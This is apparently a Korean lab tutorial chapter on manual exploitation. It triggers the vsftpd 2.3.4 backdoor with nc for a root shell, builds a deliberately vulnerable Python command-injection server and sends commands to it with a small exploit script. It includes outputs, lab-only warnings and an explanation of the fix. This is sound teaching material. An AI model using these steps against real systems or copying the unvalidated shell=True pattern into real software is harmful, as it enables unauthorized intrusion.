Step 120. 수동 익스플로잇 1: 프레임워크 없이 공격 — 버튼 뒤의 동작을 손으로 재현한다
Level 2 — 보안 입문과 공격 스킬 기초 | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 116~119를 마쳤다. Metasploit으로 vsftpd 백도어를 터뜨려 봤고(Step 117), nc를 자유롭게 쓴다(Step 119).
- 준비물: Kali와 MS2 (또는 Kali 한 대 — 모사 서버를 직접 띄웁니다), 터미널 2개, 메모장
- 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다.
Step 117에서 여러분은 Metasploit에 대상만 알려 주고 쉘을 얻었습니다. 편했지만, 정작 "무슨 요청이 날아갔는지"는 검은 상자 속입니다. 면접관이나 팀 선배가 "그 익스플로잇이 실제로 뭘 하는 건데요?"라고 물으면 버튼만 눌러 본 사람은 대답하지 못합니다. 오늘은 프레임워크를 내려놓고, 취약점 하나를 맨손(nc와 파이썬)으로 재현합니다. 그리고 "공격을 설명하는 언어" — 어떤 입력 → 서버에서 무슨 일 → 결과의 3단 정리법을 배웁니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- vsftpd 백도어를 Metasploit 없이 nc만으로 수동 발동시킨다
- 취약 서비스의 원리(검증 없는 입력 실행)를 모사 서버로 직접 만든다
- 공개 익스플로잇 코드에서 "대상·포트·명령" 부분을 찾아 읽는다
- 공격 과정을 "입력 → 서버 내부 동작 → 결과" 3단으로 설명한다
- 공개 익스플로잇이 안 돌아갈 때 확인할 것들을 나열한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | Kali 쉘 + 파이썬 3, nc (새로 설치하는 것 없음) |
| 오늘의 명령 | nc 대상 포트, searchsploit 키워드, python3 exploit.py |
| 필요한 개념 | 백도어 트리거, 명령 인젝션, 익스플로잇 코드의 구조 |
| 오늘의 산출물 | 수동 공격 3단 정리 노트 + 원리 모사 취약 서버 |
2-1. "수동"의 의미 — 버튼이 아니라 과정을 누른다
Metasploit의 run 한 번은 내부에서 이런 일을 합니다: 대상에 TCP 접속 → 취약점을 발동시키는 입력 전송 → 백도어/쉘 연결. 수동 공격은 이 세 단계를 우리 손으로 하나씩 하는 것입니다. 프레임워크가 해 주던 일을 직접 해 보면, 도구가 실패했을 때 "어느 단계에서 막혔는지"를 볼 수 있는 눈이 생깁니다.
2-2. 백도어 트리거 — 특정 입력에만 열리는 숨은 문
Step 117의 vsftpd 2.3.4 백도어를 기억하나요? 사용자명에 :)가 들어간 채 로그인을 시도하면, 서버가 조용히 6200번 포트에 뿌리 권한 쉘 문을 엽니다. 여기서 취약점의 본질은 "특정 입력(웃는 얼굴) → 숨은 동작(6200번 개방)"이라는 구조입니다. 트리거 문자열과 결과 포트를 알면, 그것을 발생시키는 것은 거창한 도구가 아니라 nc 두 번입니다.
2-3. 명령 인젝션 — 입력을 프로그램의 명령으로 실행하는 취약점
이 챕터의 모사 대상입니다. 서비스가 사용자 입력을 검증 없이 운영체제 명령으로 실행해 버리면, 공격자는 "데이터인 줄 알았던 것"에 명령을 심어 서버에서 실행시킬 수 있습니다. distcc(분산 컴파일 데몬)의 유명 취약점이 이 유형입니다 — 컴파일 요청인 척하는 데이터에 셸 명령이 들어가 그대로 실행됩니다. 오늘 3-2에서 이 원리를 파이썬 서버로 직접 만들어 봅니다.
2-4. 공개 익스플로잇 읽기 — searchsploit과 코드의 세 부분
Exploit-DB는 공개 익스플로잇의 창고이고, Kali의 searchsploit 키워드는 그 로컬 사본을 검색합니다. 코드를 열면 대개 세 부분입니다 — ① 대상 설정(IP/포트/변수), ② 취약점 발동 요청 만들기, ③ 결과 받기(쉘 연결 등). 전부 이해할 필요는 없습니다. "어떤 바이트가 어느 포트로 나가는가"만 읽으면 수동 재현이 가능합니다.
3. 따라 하기
3-1. vsftpd 백도어를 맨손으로 — Metasploit이 해 준 일의 재현
Step 117의 같은 취약점을, 이번에는 nc만으로 발동시킵니다. (아래 출력은 출력 예시입니다 — 여러분의 Kali↔MS2 랩에서 직접 확인하세요.)
입력 (터미널 1 — 트리거 심기)
nc MS2_IP 21
220 (vsFTPd 2.3.4)
USER hack:)
331 Please specify the password.
PASS x
입력 (터미널 2 — 열린 뒷문으로 접속)
nc MS2_IP 6200
whoami
root
읽는 법: 사용자명 hack:)에 담긴 :)가 트리거입니다. 로그인은 실패해도 됩니다 — 백도어는 로그인 성공이 아니라 "시도 속의 특정 문자열"에 반응합니다. 접속을 유지한 채 새 터미널에서 6200번을 두드리면 뿌리 쉘이 기다립니다. Metasploit이 Step 117에서 해 준 일이 정확히 이것입니다.
왜: 같은 취약점을 버튼으로 한 번, 손으로 한 번 해 보면 "도구 = 자동화된 손"이라는 사실이 체감됩니다. 이 대조가 오늘 챕터의 핵심 경험입니다.
3-2. 원리 모사 — 입력을 그대로 실행하는 취약 서버 만들기
랩 밖에서도 같은 원리를 실험할 수 있게, distcc 류 취약점의 심장을 파이썬으로 재현합니다. Kali에서 만드세요 (본 교재는 우분투 랩에서 2026-09-09에 실측했습니다).
입력 (vuln_cmd_server.py)
import socket, subprocess
srv = socket.socket()
srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
srv.bind(("127.0.0.1", 3632)) # distccd의 실제 포트 번호 흉내
srv.listen(1)
print("vuln server listening on 3632", flush=True)
conn, addr = srv.accept()
data = conn.recv(4096).decode().strip()
# 취약점: 입력을 검증 없이 셸 명령으로 실행
out = subprocess.run(data, shell=True, capture_output=True, text=True)
conn.sendall((out.stdout + out.stderr).encode() or b"(no output)\n")
conn.close(); srv.close()
읽는 법: 3632번 포트로 들어온 문자열을, 검증 없이 subprocess.run(..., shell=True)으로 운영체제에 넘깁니다. 정상적인 서비스라면 입력을 "데이터"로만 취급해야 하지만, 이 서버는 "명령"으로 실행합니다. 실제 취약 서비스들의 내부가 바로 이런 형태의 실수를 품고 있습니다. 한 손님을 처리하고 종료하는 단순 설계이므로, 매 공격마다 다시 실행합니다.
주의: 이 서버는 127.0.0.1에만 묶어 두세요. 다른 주소에 열면 여러분의 컴퓨터가 진짜 취약 서버가 됩니다.
3-3. 맨손 공격 — nc로 명령을 심어 보내기
입력 (터미널 1)
python3 vuln_cmd_server.py
입력 (터미널 2)
printf "whoami\n" | nc -w 2 127.0.0.1 3632
출력 (2026-09-09 실측):
root
서버를 다시 띄우고 이번에는 id를 보냅니다.
출력 (2026-09-09 실측):
uid=0(root) gid=0(root) groups=0(root)
읽는 법: 우리가 보낸 것은 데이터일 뿐인데, 서버에서 명령으로 실행돼 결과가 돌아왔습니다. 서버를 띄운 계정(여기서는 root)의 권한으로 실행됩니다 — 실제 랩의 distcc는 daemon 같은 제한된 계정으로 도는 경우가 많아, "얻은 쉘의 권한 = 서비스의 실행 계정"이라는 법칙을 확인하는 재료가 됩니다 (Step 121에서 비교표로 정리합니다).
왜: Metasploit 없이, Step 119의 nc 한 번으로 "원격 명령 실행"을 완성했습니다. 취약점이란 결국 "입력의 처리 실수"이고, 공격이란 그 실수를 건드리는 입력을 보내는 것입니다.
3-4. 익스플로잇 코드 읽기 — 공개 코드의 형태 흉내
Exploit-DB의 파이썬 익스플로잇들은 대개 이런 형태입니다. 우리 모사 서버용으로 축소한 것을 읽어 봅시다.
입력 (exploit_cmd.py)
import socket, sys
def exploit(host, port, cmd):
s = socket.socket()
s.settimeout(3)
s.connect((host, port))
s.sendall((cmd + "\n").encode())
return s.recv(8192).decode().strip()
if __name__ == "__main__":
host = sys.argv[1] if len(sys.argv) > 1 else "127.0.0.1"
port = int(sys.argv[2]) if len(sys.argv) > 2 else 3632
cmd = sys.argv[3] if len(sys.argv) > 3 else "whoami"
print(exploit(host, port, cmd))
입력
python3 vuln_cmd_server.py & # 서버 재기동
python3 exploit_cmd.py 127.0.0.1 3632 "cat /etc/hostname"
출력 (2026-09-09 실측):
XI3492
읽는 법: 2-4에서 말한 세 부분이 보이나요? ① 대상 설정(host/port/cmd 인자 처리), ② 발동 요청 만들기(cmd + "\n" 전송), ③ 결과 받기(recv). 공개 익스플로잇을 받았을 때 먼저 읽을 곳은 바로 이 세 곳입니다. 코드가 길어져도 뼈대는 같습니다.
왜: 그리고 하나 — 이 코드에 --help를 넣어 보면 이런 에러가 납니다 (2026-09-09 실측):
socket.gaierror: [Errno -2] Name or service not known
--help가 첫 번째 인자(host) 자리에 들어가 주소 해석에 실패한 것입니다. 세상의 공개 익스플로잇 다수에는 친절한 도움말이 없습니다. 인자의 순서와 의미는 코드에서 직접 읽는 것 — 그것이 수동 익스플로잇 실력의 절반입니다.
3-5. 3단 정리 — 공격을 설명하는 언어
오늘 한 공격을 문장으로 정리하는 연습입니다. 형식은 고정입니다.
[입력] 사용자명에 :)를 포함한 로그인 시도 / 포트 3632로 "whoami" 문자열
[서버 내부] 트리거 감지 → 6200번에 쉘 개방 / 입력을 검증 없이 셸로 실행
[결과] 6200번에서 뿌리 쉘 획득 / 명령 출력이 공격자에게 반환
읽는 법: 이 세 줄은 보고서, 면접, 팀 내 공유에서 그대로 쓰는 형식입니다. "취약점을 발동시키는 입력이 무엇인지", "서버에서 실제로 어떤 처리가 일어나는지", "공격자에게 무엇이 돌아오는지" — 셋을 말할 수 있으면 그 취약점을 이해한 것입니다.
왜: Exploit-DB에서 다른 서비스의 익스플로잇을 하나 골라(searchsploit), 이 3단 형식으로 요약해 보세요. 코드를 다 못 읽어도 3단을 채울 수 있으면 충분히 읽은 것입니다.
4. 미션과 연습문제
미션 — 수동 공격 3단 정리 노트
- 3-1의 vsftpd 수동 공격을 Kali↔MS2에서 성공시키고, 트리거 문자열과 결과 포트를 노트에 적는다
- 3-2의 모사 취약 서버를 만들고, 3-3처럼 nc로
whoami가 아닌 다른 명령 두 개(예:id,cat /etc/hostname)를 성공시킨다 searchsploit으로 MS2의 서비스 중 하나를 검색해 익스플로잇 코드를 연다- 그 코드에서 ① 대상 설정 ② 발동 요청 ③ 결과 받기 위치를 표시한다
- 그 취약점을 "입력 → 서버 내부 → 결과" 3단으로 요약해 노트에 추가한다
연습문제
문제 1. Metasploit의 run 버튼이 내부에서 수행하는 세 단계를 말해 보세요.
문제 2. vsftpd 백도어 공격에서 로그인이 실패해도 되는 이유를 "트리거" 개념으로 설명해 보세요.
문제 3. 3-2의 모사 서버가 취약한 정확한 한 줄은 무엇이며, 정상적인 서비스였다면 입력을 어떻게 처리해야 했나요?
문제 4. 공개 익스플로잇을 실행했더니 주소 관련 에러(이름 해석 실패)가 났습니다. 가장 먼저 확인할 두 가지는 무엇인가요?
5. 모범 답안과 완료 기준
미션 모범 답안
노트 예시 (distcc를 골랐다고 가정):
[수동 공격 1] vsftpd 2.3.4 — USER hack:) / PASS x 후 6200번 접속 → root 쉘
[수동 공격 2] 모사 서버(3632) — printf "id\n" | nc → uid=0(root) 확인
[코드 읽기] distccd 익스플로잇: 대상은 argv/host 변수, 발동은 컴파일 요청 속
셸 명령 필드, 결과는 바인드/리버스 쉘 연결부
[3단 정리] 입력: 컴파일 요청으로 위장한 명령 문자열
서버 내부: 요청을 검증 없이 셸로 실행
결과: 서비스 계정(daemon) 권한의 명령 실행 → 쉘
검증하는 법: ① Metasploit 로그 없이 쉘을 얻었는가. ② 모사 서버 공격이 명령 두 개 이상 성공했는가. ③ 3단 정리가 "입력/내부/결과"를 빠짐없이 담는가. ④ 코드에서 읽어낸 세 부분이 실제 코드와 일치하는가.
연습문제 해답
문제 1 해답. 대상에 TCP 접속하기 → 취약점을 발동시키는 입력(트리거/페이로드) 전송하기 → 결과 연결(쉘 등) 수립하기. 수동 공격은 이 셋을 손으로 하나씩 수행하는 것입니다.
문제 2 해답. 백도어는 로그인 성공 여부를 보지 않고, 로그인 시도 안에 :) 문자열이 있는지만 감시합니다. 그래서 인증은 실패해도 트리거는 발동해 6200번 문이 열립니다. "입력 속 특정 패턴에 반응하는 숨은 동작"이 트리거입니다.
문제 3 해답. subprocess.run(data, shell=True, ...) — 네트워크에서 받은 문자열을 검증 없이 셸 명령으로 실행하는 줄입니다. 정상 서비스라면 입력을 데이터로만 취급하고(명령 해석을 하지 않고), 허용된 동작 목록과 대조해 검증해야 했습니다.
문제 4 해답. 첫째, 코드가 요구하는 인자의 순서와 개수(대상 IP가 첫 번째 자리에 갔는지). 둘째, 대상 IP/포트 변수가 내 랩 주소로 바뀌었는지. 공개 코드의 기본값은 저자의 환경 기준이라 내 랩과 다릅니다 — 그리고 도움말 옵션이 없는 코드가 많으므로 인자 규칙은 코드에서 직접 읽습니다 (3-4의 gaierror 사례).
완료 기준 체크리스트
- [ ] vsftpd 백도어를 nc만으로 수동 발동시켰다
- [ ] 모사 취약 서버를 만들고 명령 인젝션을 성공시켰다
- [ ] "얻은 권한 = 서비스 실행 계정"을 설명할 수 있다
- [ ] 공개 익스플로잇 코드에서 대상/발동/결과 세 부분을 찾을 수 있다
- [ ] 인자 에러 시 코드에서 인자 순서를 읽어 해결할 수 있다
- [ ] 공격 하나를 3단(입력→내부→결과)으로 요약해 적었다
- [ ] 이 실습이 내 랩 전용임을 다시 확인했다
6. 흔한 실수와 해결
벽 1. 6200번에 접속해도 아무 반응이 없다
증상: 트리거를 보냈는데 nc MS2_IP 6200이 조용합니다.
원인: 트리거 접속(21번)을 끊었거나, :)가 제대로 전달되지 않았거나, 백도어가 열리기 전에 접속했을 수 있습니다.
해결: 21번 접속을 유지한 채로 새 터미널에서 6200번을 두드리세요. 사용자명에 :)가 정확히 포함됐는지(쌍점+괄호) 확인합니다.
벽 2. 공개 익스플로잇이 내 환경에서 안 돌아간다
증상: 남의 코드를 받아 실행했더니 에러만 납니다.
원인: 대상 IP/포트가 저자 기준이거나, 파이썬 버전 차이(2 vs 3)거나, 필요한 라이브러리가 없을 수 있습니다.
해결: ① 대상 변수부터 내 랩 주소로 고치고, ② python3로 실행해 보고, ③ 에러 메시지 첫 줄을 읽습니다. 코드를 "실행할 물건"이 아니라 "읽을 문서"로 대하면 막힘이 줄어듭니다.
벽 3. –help를 넣었는데 이상한 에러가 난다
증상 (2026-09-09 실측): python3 exploit_cmd.py --help → socket.gaierror: [Errno -2] Name or service not known
원인: --help가 도움말 스위치가 아니라 첫 번째 인자(host)로 해석돼 주소 해석에 실패했습니다.
해결: 공개 익스플로잇에는 도움말이 없는 경우가 많습니다. 코드의 인자 처리부(sys.argv)를 직접 읽고 순서대로 넣으세요.
벽 4. 모사 서버가 한 번 공격받고 종료된다
증상: 두 번째 공격에서 Connection refused.
원인: 예제 서버는 한 손님을 처리하고 끝나는 단순 설계입니다.
해결: 매번 다시 실행하세요. 계속 받게 하려면 accept를 while 루프로 감싸면 됩니다 — 직접 고쳐 보는 것도 좋은 연습입니다.
벽 5. 모사 서버를 0.0.0.0에 열었다
증상: 랩 안 다른 기기에서도 내 취약 서버에 접속이 됩니다.
원인: bind 주소를 0.0.0.0으로 두면 모든 인터페이스에서 받습니다.
해결: 학습용 취약 서버는 반드시 127.0.0.1에만 묶으세요. 의도적으로 만든 취약점을 외부에 노출하면 내 랩이 타인의 연습장이 됩니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| 수동 익스플로잇 | 프레임워크 없이 접속·발동·결과를 손으로 수행하는 공격 |
| 트리거 | 취약점의 숨은 동작을 깨우는 특정 입력 (예: :) ) |
| 명령 인젝션 | 데이터여야 할 입력이 명령으로 실행되는 취약점 |
| 3단 정리 | 입력 → 서버 내부 동작 → 결과 — 공격을 설명하는 표준 형식 |
| 서비스 실행 계정 | 얻은 쉘의 권한을 결정하는 것 (서비스가 도는 계정) |
| searchsploit | Exploit-DB 로컬 사본 검색 도구 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
nc MS2_IP 21 후 USER hack:) |
vsftpd 백도어 트리거 심기 |
nc MS2_IP 6200 |
열린 백도어 쉘로 접속 |
searchsploit 키워드 |
공개 익스플로잇 검색 |
printf "명령\n" | nc -w 2 대상 포트 |
모사 서버에 명령 심어 보내기 |
python3 exploit.py 대상 포트 명령 |
축소 익스플로잇 실행 |
명령어보다 중요한 감각
오늘의 핵심 문장은 "도구는 자동화된 손이다"입니다. Metasploit이 하는 일을 nc 두 번으로 재현해 봤으므로, 이제 도구가 실패해도 어느 단계가 막혔는지 볼 수 있습니다. 실전에서는 환경이 달라 공개 익스플로잇이 그대로 안 돌아가는 경우가 훨씬 많습니다 — 그때 살아남는 사람은 버튼을 아는 사람이 아니라 과정을 아는 사람입니다.
그리고 3단 정리(입력 → 내부 → 결과)는 방어자의 언어이기도 합니다. 방어자는 "어떤 입력이 위험한가"를 알아야 막을 수 있습니다. 공격을 설명할 수 있는 사람이 방어 규칙도 설계합니다.
전부 체크되면 Step 120 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.